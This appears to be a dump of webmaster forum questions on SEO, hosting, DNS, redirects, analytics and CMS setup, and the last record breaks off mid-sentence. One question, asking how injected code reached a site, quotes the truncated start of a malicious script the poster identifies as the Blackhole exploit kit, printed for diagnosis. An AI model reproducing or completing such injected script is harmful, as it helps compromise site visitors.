{"id":"3865","title":"Installing osCommerce on CentOS","text":"I want host my web site using osCommerce on CentOS, we have our own server at our office on that we have install CentOS 5.5 with LAMP. We want to host a web site using our live IP address using osCommerce. If any one has a step by step how to for osCommerce on CentOS please share with us. We have unzipped `oscommerce.zip -d \/var\/www\/html\/` and we can see the admin page. When people visit from outside, they also see the admin page."}
{"id":"8402","title":"My Blog Needs some Upgrading !","text":"I have been browsing all night for a way to improve my blog on blogger and actually nothing came up just that i could include some widgets that need java codes. Witch are the best widgets i could add without killing the SEO and where is a good place i could find ways to Tweak my blog and learn to sustain it better. It's my first blog and maybe it will not go viral but at least i want to try ! Thank you so very much !"}
{"id":"34674","title":"SEO when loading items through AJAX","text":"Let's say I have standard scenario of commerce site that has categories on the left and items on the right. What I would like to do is that when user clicks on category it will pass it's ID to js, js will get all items from API by using that id and load them very prettily to my content. It looks all cool and pro but what is the situation from SEO point of view? AFAIK google bot enters my site, sees I have span with categories and that's all?"}
{"id":"34052","title":"Open Source PHP based secure file download script?","text":"I need a self hosted solution where I as the admin can create client areas (which can be simple folders) where I upload files and secure them with username \/ pass. A client page will then be automatically generated which the client can access the username \/ pass and download the files. It's relatively simple script but I'm having a hard time finding open source solutions which accomplish what I need. Any help would be appreciated."}
{"id":"7573","title":"Is there a (free) reliable place to get statistics from sites, more reliable than Alexa, Quantcast, Compete?","text":"I mean, seems there's no way. I am just asking in case someone knows of a recent new site being more accurate. I am aware of Alexa's, Compete and Quantcast inaccuracies and\/or limited system\/range of sites to get their stats. I also know about websitegrader perhaps being a little more accurate (although not sure if that's the data I am after). And read Seomoz tools are reliable. I am yet though looking for a free solution, a 'reliable' Alexa. And not a place depending on a toolbar installation, an easy to trick place, or one with stats way too off, or of a very limited range of sites. I am almost sure there's nothing new, but I wanted to be sure."}
{"id":"50533","title":"What folder should I apply SSL certificate to?","text":"Is an SSL cert applied to a specific folder or also all subfolders of that folder? If the SSL is applied to the root, will it be applied to all sub-folders? If so why would I not always apply to root?"}
{"id":"9817","title":"Which one is better? To have link on one page or on all pages?","text":"I have a website: http:\/\/www.amenajari-gradini-mures.ro and I will put links on http:\/\/www.casesigradini.ro . I would like to know which one is better from the point of view of SEO: - to have one single link on the homepage OR - to have a link on every page (about 48000 pages) ? Right now I got my link up on every page. But if it's better to have it on one page only (or maybe on few main pages ) then i'll take it out the rest. Please give some arguments for your answers. Thanks"}
{"id":"17516","title":"How can I tell which pages of a site are indexed by Google or Bing?","text":"Is there a tool that can list the specific pages of a site which are indexed by the search engines? I know the webmaster tools have this stuff, but it just tells how many pages out of the sitemap, which isn't that useful."}
{"id":"59859","title":"Is having multiple websites a good idea or a bad one for SEO?","text":"I am in charge of my companies website and one of my tasks is to improve SEO. Granted, I am new to this and have been researching for the past 6 months and had an idea. My plan is to build multiple websites and create a huge site using multiple domains. We offer different services and our main home page will have all of the services with links to the other websites which are the individual services so that I don't have to worry about duplicate page content. Example: `www.companyname.com` is the main site `www.service#1.com` is one of our services `www.service#2.com` is another one of our services etc. Will this have an affect on our SEO in a positive way like I think or would it impact us negatively? and why?"}
{"id":"50022","title":"Protect streamed videos","text":"I am for html5\/flash video player to play videos (stream) on a website and we want to protect our material as much as we can. any suggestions ? **Edit** We want it to limit the download of the video and re-sharing it in other ways"}
{"id":"50027","title":"How do webmasters control who edits code on their sites?","text":"Sorry for the simple question, but I googled and lurked on this site and couldn't find anything (I don't believe I was asking the proper questions). I am aware of permissions in SharePoint; is it like that in a way? You set permissions for certain people to be able to submit\/edit code (do they login?), and then you and the other people are the only ones who edit? Thank you."}
{"id":"35814","title":"Recommendations for Survey + Customer Engagement tool","text":"We are currently trying out desk.com for a customer engagement tool. Now we want to create surveys for our customers but desk.com doesn't offer this ability nor do they integrate with any other survey apps. Can anyone recommend an integrated or semi-integrated solution for customer engagement with the ability to survey? We are open to leaving desk.com and trying something else. Thanks!"}
{"id":"53059","title":"Configure a .tk domain on Zymic?","text":"I created a site on Zymic but I can not put my `.tk` domain, someone could help me solve this problem?"}
{"id":"65145","title":"How can I fix Google indexing URLs that are not part of my sitemap?","text":"Using `site:example.com` in Google is returning many results with the following format: `https:\/\/www.w.example.com\/services\/edison\/16mm-to-2k` Obviously this is not what I submitted and is not part of my sitemap. What are some solutions for dealing with this kind of problem? This is particularly a problem since they indexed the HTTPS protocol and all the links are showing a warning before visiting the site as a result. Getting wildcard SSL certificates for `*.w.example.com` and `*.ww.example.com` seems like a bad idea. The site's DNS runs through AWS Route 53 and the site is running on an Ubuntu 12.04 EC2 with Apache."}
{"id":"51096","title":"Is it important to add a mobile sitemap?","text":"I've recently added a mobile version of a web-app. Most web-page URL's like `mydomain.com\/folder\/page` now have another version `mydomain.com\/mobile\/folder\/page` In the web-page I've added: <link rel=\"alternate\" media=\"only screen and (max-width: 640px)\" href=\"\/mobile\/folder\/page\" \/> And in the mobile version: <link rel=\"canonical\" href=\"\/folder\/page\"\/> This was done a couple of weeks ago, and still if I perform a `site:mydomain\/mobile` I'm not seeing Google has indexed any of these mobile version pages. Will adding a mobile site-map resolve this issue?"}
{"id":"33655","title":"Does CSS 'em' sizing still matter?","text":"As I know, em-sizing was used by websmasters to create well-scaling sites, when changing font size in browser. But in modern times, I see that scaling a page scales all elements, even px- sized, so page is zoomed correctly. So, does designing CSS in em-units is still the best design approach ? What is a difference now ? Sample code, that doesn't give ane difference with scaling in FF: <div style=\"background: black; width: 1em; height: 1em; display: inline-block;\"><\/div> <p style=\"font-size:1em\">Sample<\/p> <div style=\"background: black; width: 12pt; height: 12pt; display: inline-block;\"><\/div> <p style=\"font-size:12pt\">Sample<\/p> <div style=\"background: black; width: 16px; height: 16px; display: inline-block;\"><\/div> <p style=\"font-size:16px\">Sample<\/p>"}
{"id":"65143","title":"Meta tags decoding by Google","text":"My site's CMS has some problems with reflecting correct cyrillic letters. So, in source code of the page my meta description looks like the next: <meta content=\"Здесь вы можете заказать пирожные macarons (макаруны) онлайн. Вы может.\" name=\"description\"> The same situation is with all meta-tags, which include `<meta name=\"\" content=\"\">`. I think that this is because of Unicode escape sequence. My question is: Is Google able to decode these symbols into the correct characters to show a normal snippet in the SERP? Currently the snippets of the site look normal, but I need to be sure that Google can read and decode Unicode escape sequences. Is it normal from Google's point of view to get meta-tags in such a format?"}
{"id":"52977","title":"301 directory redirect exclude subdirectory","text":"I need to do a 301 directory redirect in my _httpd.conf_ file but exclude a subdirectory within the directory. Example: `RedirectPermanent \/redirect\/ http:\/\/www.mysite.com\/`. But I want to exclude this subdirectory `\/redirect\/example\/`. Any ideas? I tried this and it didn't work: RewriteEngine On RewriteCond %{REQUEST_URI} !^\/redirect\/example\/?$ [NC] RewriteRule ^\/redirect\/? mysite.com [R=301,L]"}
{"id":"52974","title":"Site load problem with request headers referer HTTP","text":"I have a problem with my site load time. I check load time with `gtmetrix.com` and I find hard problem (my site adress: `kelishe.com`). If you check it with `getmetrix.com` and go to timeline you see 2 request like: _get: www.kelishe.com_. This is mean that my site load twice in one time and increase my load time.  I think the problem is about request headers referer HTTP buy I don't know how I can fix it."}
{"id":"56720","title":"What is a minimum valid robots.txt file?","text":"I don't like that I see a lot of 404 errors in the _access.log_ of my web server. I'm getting those errors because crawlers try to open a _robots.txt_ file, but couldn't find any. So I want to place a simple _robots.txt_ file that will prevent the 404 errors from appearing in my log file. What is a minimum valid _robots.txt_ file that will allow everything on the site to be crawled?"}
{"id":"54849","title":"When Googlebot sees a link, will it click it or navigate to it?","text":"My site uses pushState and JSON data to display content. So, for example, this might appear on my page: <a href=\"\/some\/page\">some page<\/a> The JavaScript then prevents the default action (following the link), and instead renders a view (using a different api, such as \/getjson?some_page). $('[href]').click(function(){ history.pushState(...); handleURL(...); }); Assume my server will respond to requests at \/some\/page with a pre-rendered version. My questions are: 1. will Googlebot receive the prerendered version, or allow JavaScript to instead invoke pushState, etc. 2. if it doesn't make the direct request, will it wait for AJAX content to be loaded? 3. does Googlebot implement pushState, so it will show the proper URL in search results?"}
{"id":"4152","title":"Should I use an Affiliate Selling program at my website?","text":"Currently I am almsot done with my website to publish it. I realise I may not have enough visitors at the very begin nor clicks on links which are things I will be working on over time. I have adsense in place and was looking for more options and suggestions and since it is a Gamming website I was thinking I could use some sort of Affiliate Programs like Amazon that will display Products related to my site content like CD Games, Strategy guides, etc. I would like to know from those who used it and are far more experienced then I am: 1. **What programs are worthed using and are available to pay you with paypal\/gcheckout ?** 2. What should I be carefull with when using those ? 3. Any other advices or ideas of what could I be using\/trying ? I am not entirely sure my Question belongs here so I kindly ask that if it does not move it and I will follow up, I am sorry for any misunderstood and my poor english."}
{"id":"29952","title":"How to setup a reseller account on a subdomain?","text":"I have bought the aluminium reseller package on hostgator and specified a subdomain of an existing domain I already had as the primary domain. How do I set this up in the hostgator whm panel and what records do I need to change on the dns records for the externally held top-level domain?"}
{"id":"18273","title":"How can I make sure I don't get scammed when buying web hosting?","text":"Whenever I have put research into 'affordable' web hosting (for me, something like $100\/yr), it seems like everything out there feels or smells scammy. Too flashy, poor English, popups, 'last chance' offers--the whole nine yards. With my current provider (one of the above) I'm getting fairly good service, not quite excellent. But the tech support is unmotivated, to say the least. I'm thinking about switching. As I look again for hosting providers, I'm totally confused. Everything I see in a Google search looks like a scam. Even the sites set up to rate hosting providers look scammy. So am I in fact missing the good stuff, or am I just being too picky? Or should I be thinking about raising my price range? EDIT: I'm not sure how this works. Am I allowed to mention a particular host I might use?"}
{"id":"26465","title":"Is it free to use Yahoo! smilies in our forum? (caused by copyright issues)","text":"Will there be any problems (I'm talking about copyright...) if we use the lovely smilies of Yahoo! in any of our web apps? eg. forums and so on? I couldn't find any site that says it is legal\/illegal. Do you know any?"}
{"id":"24649","title":"How can I set Webmaster Tools to \"Fetch as Google Bot\" using SSL?","text":"I have page which requires SSL so the page is https:\/\/. I want to fetch this page as google bot inside of google webmasters' diagnostic tools however Google, from what I can tell, only allows http calls. So when I put in my page all I get is a redirect from the http to the https page. How can I fetch a page as google bot that is https?"}
{"id":"9668","title":"general questions about link spam","text":"A CMS-based site I manage is suffering from a small but ominously growing number of almost certainly bot-emplaced, invisible spam links placed in registered-user-only shoutboxes and user forums. \"Link Spam\", yes? Until recently, I've kept my eyes on narrow tech issues, and I'm having trouble understanding what's going on. I understand that we need to tighten up our registration procedures, but more generally... Do I understand correctly that our primary interest in combatting link spam on our site is that major search engines reduce or zero the search visibility of sites that contain link spam? Although we're non-commercial, we don't want to be at the bottom of the rankings, or eliminated altogether. Are the linked-to sites the direct beneficiaries of the spam links, or is there some kind of indirection? What is the likely relationship between the link-spammers and the owners of the (directly or indirectly) linked-to sites? Are the owners of the linked-to sites paying the link-spammers for higher visibility? Are the owners aware that this method is being used? It is my impression that major search engines are capable these days of detecting that given sites are being promoted by link spam, and that these sites may consequently be reduced in search rank or dropped altogether. Do these sanctions occur frequently? Is there any potential value in sending notifications to the owners of the linked-to sites that their visibility is at risk? TIA, hen3ry"}
{"id":"24646","title":"Most common Apache and PHP configuration for portable Web Applications","text":"I always create web application using PHP but I always distribute and deploy my works to different kinds of server platforms and web server configurations. Thus I always encounter problems in deployment because some features are enabled and others are disabled. And my question, is there a standard web server configuration that is commonly used by most of web servers worldwide? covering the aspects of reliability, security and maintainability?"}
{"id":"65492","title":"Does a page with a phone number in the title rank less well in Google?","text":"I am creating a website in asp.net and I am making the phone number visible in the title bar. Will this method have an effect on SEO? Will Google lower my rank? If so, why?"}
{"id":"19034","title":"Google Analytic's and Universal PHP Footers","text":"If I have a universal Footer, `include('footer.php');` on my page - will the google analytic's script I just put there be able to track my page views?"}
{"id":"65494","title":"SEO - low quality page of links for crawler only","text":"I have a site structure of: Country > Counties > Towns > Shops the county, counties and towns pages are all low quality pages full of links, these are there for the crawlers to navigate and occasionally a customer will not know there postalcode so will drill down this way. **How best to keep the structure but not get any low quality flags against the site?**"}
{"id":"13465","title":"I want to redirect anyHOST.anyTLD to www.anyHOST.anyTLD","text":"I'm trying to find a generic enough modrewrite rule that will acomplish following: * Redirect anyHost.anyTld to www.anyHost.anyTld * Not mess with any other subdomains, for examle other.anyHost.anyTLD should be left alone Can you help? Does this slow down server too much?"}
{"id":"43345","title":"How to track events or e-commerce sales that occur later using Google Analytics?","text":"Here's my problem: * I have a static site with Google Analytics tracking code. * To buy one of my services, users call me, and when their order is ready (many days later), I send them an e-mail link to a special page (download.php) where I have GA tracking code that is executed the first time they visit, so I track a \"sale\". * The issue is, GA thinks that \"sale\" was a separate visit, and erroneously shows that only direct visits to my site result in sales. I don't understand how I can view stats (Pages \/ Visit, Avg. Time on Site, etc.) about users who eventually bought something. I've tried events and e-commerce tracking with no luck. Please help!"}
{"id":"38945","title":"Robots.txt never downloaded but some blocked URLs in GWT","text":"There is something I don't understand in Google Webmaster Tools (GWT) for my WordPress site. In menu \"Blocked URLs\", it mention that my _robots.txt_ has never been downloaded but there are some blocked URLs. It's kind of weird and not logical. Am I missing something? User-agent : * Disallow: \/*? Disallow: \/wp-login.php Disallow: \/wp-admin Disallow: \/wp-includes Disallow: \/wp-content Allow: \/wp-content\/uploads Disallow: *\/trackback Disallow: \/*\/feed Disallow: \/*\/comments Disallow: \/cgi-bin Disallow: \/*.php$ Disallow: \/*.inc$ Disallow: \/*.gz$ Disallow: \/*.cgi$ Disallow: \/author\/* I'm afraid my _robots.txt_ doesn't block several URLs I want to block. Edit (screenshot): "}
{"id":"30655","title":"what is standard approach to create a responsive website using javascript,php ajax and perhaps zend framework","text":"I am working on a web system currently and plans to heavily use javascript with ajax to make the user interface more friendlier, not fancy as such. The javascript will be used for client side form validation, data loading from server and creating proper content with the result, also to for floating windows during add\/edit or external references. Here is a scenerio that could clearify my question. A user wants to update card but instead of jumping to another page to verify the available colors,size and prizes of product, those information are shown in a floating window and changes in the floating window can affect the underlying one. My question is : 1. What are some of the approaches to encounter this situation? 2. Are there any helpful tips, tricks and links on this subject? I am comfortable with js,php and zend. I would appreciate any advice,tip and tricks, problem solving approach to handle a situation like this! Thanks in advance. Hope this make sense."}
{"id":"43565","title":"Google Advanced Image search - Appear in cc search","text":"How do I mark that my images are public domain and can appear in google images - advanced search with option \"usage rights:free to use, share, or modify even commercially\". I want to mark my images so they appear in search results."}
{"id":"11093","title":"Is there any way to install applications onto a shared hosting account?","text":"I've got a shared hosting account with arvixe.com. I wanted to move my Gemini install from a server in my spare bedroom to my hosting account so I can access it over the web. Unfortunately the Gemini application is only installable by means of an .exe file (www.geminiplatform.com\/download) and as I don't have RDP access to the hosting machine I can't just click 'n run. Has anyone got a workaround for this problem? Thanks."}
{"id":"31845","title":"What programming language to use for sending mail from web?","text":"I created advance mail sender desktop application but have some problem with it. There are some limitation, so for solving those limitation I have to send mail from web, but I didn't use much web programming before, so now my question is **what is best web programming language for sending mail from web?**"}
{"id":"19314","title":"What the Nginx Control panel?","text":"What the Nginx Control panel? What the Nginx Control panel? and Free thanks"}
{"id":"19311","title":"Finding Google's indexed pages","text":"How do I find out how many pages Google has indexed on my website? I know I can just Google `site:http:\/\/foo.com`, but I would like to record the data and not have to do it by hand. Is there an API for pulling this data? This is the number I want:  I don't want the number of links, I want the pages indexed."}
{"id":"19648","title":"Just discovered something I never knew about 404 - could someone explain this","text":"I had always thought that placing anything spurious after the 404 which the server didn't understand would result in a 404; however I had a closer look at a WordPress site which I was building and noticed that if I appended something like \/?page_iid=1 ( note the ? and also the typo ) to the domain that the redirect went to the site's home page rather than the 404 page. At first I thought this was just WordPress; but evidently it's unilateral across the web. Presumably this is a well known and easily explainable fact which has eluded me for years, but could someone kindly explain it to me. I am a little perturbed that the 404 system isn't able to handle a typo after a '?' so I presume it's unavoidable but if it isn't then I'd like to know a way of sorting it out."}
{"id":"43340","title":"Webmaster Tools not allowing change of address","text":"I've moved your1.com to your2.com I want to move your2.com to your3.com but I'm not allowed - see this image: "}
{"id":"30659","title":"Will there be any implications on the a website's optimization efforts when a domain is set up in two servers?","text":"Will there be any implications on the site's optimization efforts when my domain is set up in two servers : default and backup server?"}
{"id":"19318","title":"Selling products through affiliate an program - how to do it right?","text":"I have 2 kind of a strange websites that has to do with health. I originally made them just to practice SEO, and since now I am an SEO guru, they get lots of traffic. The problem is that those sites only get monetized through ads, so the nice traffic I get is monetized pretty poorly. Since the site has to do with health, I was thinking to sell some vitamins or something similar through an affiliate program. My questions are: * How much money should I expect to earn per lets say 10k unique visitors? Are there any statistics for sites that are health related? * What are some of the better affiliate programs for health products?"}
{"id":"17562","title":"Host Change - What is a good method for testing SSL before pointing DNS at new host?","text":"Version 1 of a web application is on an old Host. Version 2 is on a new host, operating on a test domain. At launch, we will point the official domain at the new host. However, I would like to verify that we have the SSL certificate installed correctly on the new host before pointing the domain at the new host. I exported the certificate, but it is my understanding that the SSL certificate only works for the single domain it was issued to, so I'm not sure how to test that we have SSL setup pre-launch. Any ideas?"}
{"id":"17563","title":"How long after your domain expires do you have to re-register it before someone else can?","text":"Can you register an expired domain immediately after it expires, or is there a waiting period? (I'm sure this can be found on google, but I don't know the proper name for it. :( )"}
{"id":"17560","title":"Can I migrate from GNU Mailman to MailChimp?","text":"I have ~20 lists, all of which are mostly announce-only (newsletters-- recipients do not reply back to the list) running in GNU Mailman. It's alright. Mailman has certainly prooven itself but we want some progressive features and a better peice of mind (delivery success, hosting, etc... we'd be happy paying a 3rd party to handle these things). can MailChimp give us what we need? I see tons of fun copy and graphics, showing off neat features but what I really want to do is; if MailChimp is doing the mailings, what does the address look like? is MailChimp good for sending out simple newsletters? What about automatic bounce processing \/ unsubscribing of users? I setup a free account but I don't see how any of it integrates into my own domain... no DNS overrides or cname suggestions. Also, I see MailChimp has a clean and nifty API client in Python that I want to integrate into our sites (Django powered) so that really really makes the service attractive to me--I just hope I understand it correctly."}
{"id":"18995","title":"How to setup site for no www","text":"The company I'm working at handles the hosting our self. We got `www.domain.com` up now and we want to make the `domain.com` to work as well. We use IIS7. I have seen some articles and found one with URL rewrite setting that can be added to IIS7. What's the best way to go? We don't want to cut any corners we want to do it properly. This is the article that I mentioned above: http:\/\/weblogs.asp.net\/owscott\/archive\/2009\/11\/27\/iis-url-rewrite-rewriting- non-www-to-www.aspx"}
{"id":"55731","title":"Cloud hosting pay per hour, but Google robot crawls almost 24\/7","text":"Correct me if I am wrong: We see cloud hosting is payable per hour, only when the site is accessed, but knowing Google robot crawls the website almost every minute, we still end up paying full price monthly. If I am right, then what's the point of subscribing to cloud hosting that is paid hourly instead of monthly?"}
{"id":"4561","title":"How can you create text as a png file to minimize file size?","text":"I've seen this trick on lots of websites, but I don't know how I could create this myself easily. It's basically text or a logo which is saved on a transparent background with a small border, to minimize the file size. * * * For example on **Postmarkapp**, they have this transparent logo, with a yellow border:  and there are a lot more of these examples on the web. * * * What's an easy way to create such a png file with a small border so your text or logo will seamlessly blend into the background color?"}
{"id":"19610","title":"How did this malicious code get into a site?","text":"This question was recently posed on another forum I am apart of. Two sites that the person maintains had malicious code on the site the code is as follows: <script>var date=new Date();function lols(){return true} window.onerror=lols;function getXmlHttp(){var xmlhttp;try{xmlhttp=new ActiveXObject('Msxml2.XMLHTTP');}catch(e){try{xmlhttp=new ActiveXObject('Microsoft.XMLHTTP');}catch(e){xmlhttp=false;}} if(!xmlhttp&&typeof XMLHttpRequest!='undefined'){xmlhttp=new XMLHttpRequest();} return xmlhttp;}...(not pasting full code unless requested) From what I can tell it is the Blackhole Exploit Script (Info here and here) In your opinion what is the most likely way that the code was embedded onto the site? And what steps should be taken to 1) prevent future malicious code 2) to ensure that the computers are clean?"}
{"id":"39074","title":"Google Analytics Goal tracking external referrals","text":"I have goal tracking setup on my site for a target url. It works insofar as it tracks all pageviews on my site leading up the goal. But it doesn't appear to be tracking the external referrer that the user came from initially, marking it as (entrance) and the step before that (not set). Is this standard behaviour for goals not to record external referrer and how can I add referrer tracking to my goal?"}
{"id":"60517","title":"Is linked text searchable by crawlers?","text":"I recently created a simple website for a web-app I made. The site and the app are both mobile oriented, so there is a limited amount of room for adding text content (I designed the interface to avoid page scrolling) for various web crawlers to pick up on. As a solution, I want to create a small \"link\" that will render a dialog box with a site description. I'm new to SEO, so I'm not sure if it will work or if it's considered illegitimate practice. So, is what I described: 1) A legitimate way to add keywords to the site? (i.e. not 'keyword stuffing') 2) Searchable by web crawlers, even if the site description text only appears in the JavaScript? 3) If web crawlers don't \"sniff\" dynamic JavaScript-generated text, would it be a better idea to enter the text into the HTML directly, and make the link show\/hide the element holding the text? Thank you for your help."}
{"id":"52584","title":"Does Submit to Index on a page with new content update Content Keywords for the site?","text":"Using Google Webmaster Tools I'm trying to update the `Content Keywords` of my site. I'm confused about the relationship between `Submit to Index` and `Content Keywords` * Does `Fetch as Google` --> `Submit to Index` on a previously existing indexed page containing new content expidite updating the `Content Keywords` crawled by the _real_ Google bot? * Does `Submit to Index` only submit new URL's so that previously indexed URL's still point to the older cached version until Google crawls specifically for new content on its own? * Does `Submit to Index` have anything to do with `Content Keywords` or crawling new content being a previously indexed page or never been indexed page?"}
{"id":"32947","title":"Yandex frequently replaces page names with ampersands","text":"The Yandex spider is a frequent visitor to one of the sites I manage. On occasion it replaces the page name with two ampersands and a space. So if the page is: \/mypage.aspx?param=value then it will try and crawl it as: \/&& ?param=value Any idea why it is doing this? EDIT: If I remember correctly the IP that this _mistake_ is coming from is based in California and not Russia. I believe that they crawl US sites from a US based IP address. Not sure if that helps. More information about the request: IP: 199.21.99.82 City: Palo Alto State: California Country: United States ISP: Yandex Inc. User-Agent: Mozilla\/5.0 (compatible; YandexBot\/3.0; +http:\/\/yandex.com\/bots)"}
{"id":"44080","title":"How to store images of WordPress on Picasa or other image hosting sites?","text":"What is the best way to start a photo blog with WordPress, so that images are stored in Picasa, by image I mean image in **all sizes** , **thumbnails** , **featured images** and so on. The problem is that there is a big limitation with space in host, I don't want to store images there."}
{"id":"20612","title":"Is it possible to force a directory index to display even if an index file exists?","text":"On my Apache server I need to display a directory index of a given folder even if it already contains an index file that has been defined in DirectoryIndex. In this case an index.html file exists, but I need to display a directory listing instead. This has to be a directory specific override because the rest of the server must continue to use the index files as expected. At the moment I am setting the directory paths and configurations inside a VirtualHost, but I cannot find a way to remove predefined file names from the DirectoryIndex directive. The configuration successfully displays an index as long as an index file does not exist, but when entering a folder with an index file this file is loaded instead. Any help that can be offered would be greatly appreciated. Thanks!"}
{"id":"20611","title":"How to fix page lag on load","text":"I have a problem with my website, when you load the index page , the headers load fine but the main content appear with a delay between each photos. The error is only on the index because there is alot of contents. Thank you very much, waiting for answers. Link : http:\/\/www.kinouk.com"}
{"id":"62912","title":"Should I be 301 redirecting query strings in shopping carts?","text":"Should I redirect query strings in a shopping cart discovered by Google Webmaster Tools, which we don't want to show up there. Should we 301 URL like this? > **example.com** = **shop.ask** > &product_id=31&subject=Call+for+Pricing%3Aproductname%3B%80%93&option=com_ > **virtuemart** &Itemid=146 What I thought was, what if this URL indicates a customer's purchase? I mean he selected a product, came to the checkout page and suddenly he's 301 back to product page where he started? Could this happen? What do you advise me to do?"}
{"id":"20618","title":"DNS A Records with 1and1 and Heroku","text":"I have a domain name registered through 1and1.com that I'd like to point to my Heroku app (mydomain.com and www.mydomain.com). Heroku's instructions (http:\/\/devcenter.heroku.com\/articles\/custom-domains) say: > Root domains (mydomain.com) must use A records To setup your root domain, > add separate A records for each of the following addresses using your DNS > management tool: 75.101.163.44, 75.101.145.87, 174.129.212.2 However 1and1 only allows one A record IP. Is it sufficient to pick one of Heroku's three IPs, or is there a different way that I should set this up? Thanks"}
{"id":"17785","title":"Why Are My Facebook 'Likes' Disappearing?","text":" If you look at my website, it shows only one Facebook Like, but while the page is loading it sometimes shows more; and I'm sure there are at least 20. Any ideas?"}
{"id":"52792","title":"Duplicate content on a site","text":"I have a site for a client. He has content he has written on a page and it looks great. He now wants _some_ of this content on another page, under another heading that contains a collection of his writings. In my understanding this would be duplicate content for the block that is copied. I could block the first page but it is built specifically for that piece of writing. The page with the collection of writings also contains unique writings so I do not want to block that page. Is there anyway to tell Google: \"Ignore this `div` of content but use the rest\"? What is the best route here? I am thinking of explaining to my client the situation of duplicate content and not adding it unless I can do it without any SEO penalties."}
{"id":"25202","title":"How can I place keywords at the begining of a title and have it look natural?","text":"As per this question, the first word in the `<title>` tag is usually treated with more importance than the rest of the `<title>` tag. How can I write naturally looking titles with the keyword that I'm targeting being the first word in the title, without resorting to doing something like this: `keyword - real title`?"}
{"id":"25200","title":"Connecting oci8 to Apache & PHP","text":"We're building a Debian server to host a website which is built on PHP. It connects to an Oracle database. I need to connect the PHP to the Oracle database using oci8. However, some of the steps I've seen online require the use of oracle-xe-client package. I cannot find this package at the moment. Any help or advice about the process is appreciated!"}
{"id":"54150","title":"Is it bad SEO to embed an img tag in the middle of a sentence?","text":"I recently received a web mockup that included a sidebar with a short paragraph of narrow text; a quote from a person. At the end of the quote, the mockup had a circular portrait of the person floated to the right, hanging off the edge of the block, with the text flowing around the edge of it. It looked like this, where \"TEXT\" is the text, and \"o\" is the portrait TEXTTEXTTEXTTEXTTEX TEXTTEXTTEXTTE TEXTTEXTTEXT ooooo TEXTTEXTTEXT ooooooo TEXTTEXTTEXT ooooooo ooooo The easiest way to do this would be to put the tag for the portrait somewhere in the markup of the text, and float it right. But the HTML will look like, in that case: `TEXTTEXTTE<img src=\"...\" style=\"float: right;\">XTTEXTTEXT` and I fear this would be bad for SEO. Does anyone know? The other option is putting the at the end, absolutely positioning it, and using manual line breaks -- which sucks for my responsive design."}
{"id":"25209","title":"Google Apps (free) domain locked out after trial expired for G. Apps Business","text":"I signed up for a free trial for google apps business for my domain, but decided that I didn't need it. Let it expire, and now can't log in to the domain any more. I did get one message saying that the domain was on hold due to billing issues, and that I needed to downgrade, but there was no link to do the downgrade. I accidentally signed in as another user while in the control panel, and now I can't get back in as any user."}
{"id":"16781","title":"Zen Cart - different banners for each page","text":"I have a zen cart shop with a costumized template and for now there is a slideshow gallery under the header. I need to keep this gallery for the first page only, but on all the other pages there should be distinct banners instead of the gallery, relative to the visited page. e.g. on the \"about us\" page there should be banner_aboutus.ext, contact => banner_contact.ext and so on. Please help me do this. Thanks in advance"}
{"id":"16783","title":"Different urls to same page and redirect","text":"I have 3 urls leading to same page \/\/ as most pages are in google, my previous website's version http:\/\/mysite.com\/1234.aspx \/\/ shortcut http:\/\/mysite.com\/1234 \/\/ SEO url http:\/\/mysite.com\/1234\/state\/city\/company-name Should i put a permanent redirect in the first two urls so google considers it one page and not as 3 different pages? Any tips welcome."}
{"id":"48831","title":"Why would a Google AdSense application be rejected due to illicit drugs on my blog?","text":"According to Eligibility to participate in AdSense one needs to own a website for at least six month before he can use the AdSense service by Google. In some people's experience the same does not apply to blogs (especially blogger). So in order to test the process I performed a small experiment. I created a blog with a single post that contained some random IT related jokes taken from the internet and within 4 5 hours applied for an AdSense account through blogger. As expected I received a mail from Google on the same day saying that your account could not be activated. I was expecting them to say something like \"your blog should be at least 6 month old\" or \"No original content found\" but the reply was shocking. Here's the screenshot of the received mail.  The very first reason that they gave was that the site promotes **illicit drugs, prescription drugs, drug paraphernalia, sales of hard alcohol, tobacco, or tobacco-related products**. The second reason- insufficient content is a valid one but I wonder what could be the reason behind this this kind of weird reasoning? This is not the complete screenshot the rest of the email discussed that there was not enough content and had links to Google's policies."}
{"id":"16789","title":"Is there a legal way to serve data-dump content without incurring search engine penalties?","text":"I have a games site and I'm writing an API that will pull relevant Q&A from my copy of the SE data dump. I will abide by all licensing rules. That said, I'm hesitant to do this because Google will penalize my site for serving duplicate content. Is there a legal way to serve data-dump content, while abiding by licensing terms, without incurring search engine penalties? I want to serve this content, but I don't want to compromise the main function of my website. I plan to use Google API to translate content to my native language. I will not serve the content in English."}
{"id":"6061","title":"Can't get menu working the way I would like to in Drupal 6","text":"My apologies up-front, as I've asked this question already on Doctype.com, but figure that this site is more appropriate. I've been trying to wrap my head around Drupal's menu system, with little progress. I've just started working with Drupal having come from using DotNetNuke. Please, please, please help me understand this! The website has some backend functionality for authenticated users, and the following menu hierarchy resembles what the public-facing menu should look like: * * * * Home * About Us * Services * Counselling * Career Guidance * News * Chairman's Speeches * Community News * Gallery * Contact Us * * * Before I continue, let me say that every item above is associated with a node of content-type \"page\". Now, I have successfully got the \"Nice Menus\" module working, having created a new menu called \"Default Menu\" prior to that and adding only only one item called \"Home\" (linked to `<front>`). Thereafter, as I started creating my pages, I added it to the menu (and placing it in its rightful place in the menu hierarchy). However, my issues are 3-fold: 1. ~~I would very much like for the hierarchy to be followed in my URLs, which I would like to look like: **`www.mysite.com\\services\\counselling`**. Furthermore, when I remove the word _`counselling`_ from the URL, it should redirect me to the page for _`services`_.~~ 2. ~~Similar to the point above, but instead, how do I get my menu working with the breadcrumb? It stays on ** _Home_** no matter which page I navigate to!~~ 3. Lastly (this is more advice that I ask for), the first 2 links under **News** are essentially stories with either `chairman-speeches` or `community-news` as Tags. Is it possible that when a user clicks on **Chairman's Speeches** (for instance) that they can be redirected to a page that shows only stories tagged with `chairman-speeches` and similar for **Community News**? Sorry, this is a long post, and I AM a noob to Drupal and still trying to learn the ropes. I know Drupal has a steep learning curve, and believe me - I intend to sit and understand as much of it as possible. For now though, I would really, really appreciate your help with my issues above. In advance, THANK YOU ever so much! ## EDIT: 1. I've managed to sort out my second issue of the breabcrumb-menu-linking by using the Menu Breadcrumb module...works like a charm! 2. Going back to my first point, what I aim to achieve is exactly like what is on http:\/\/amnesty.org\/en\/who-we-are\/our-people for example...breadcrumb works, and if you delete \"our-people\" from the URL in the address bar, it will cause you navugate one up to the page for \"who-we-are\". ## EDIT 2: Er...ok...I feel really thick for not seeing this option before, but I've sorted out my first problem also! If it helps any other noobs out there, when you create a page (and assuming you have the Path Auto module installed) you can manually set the path. So because the path for `www.mysite.com\/services` 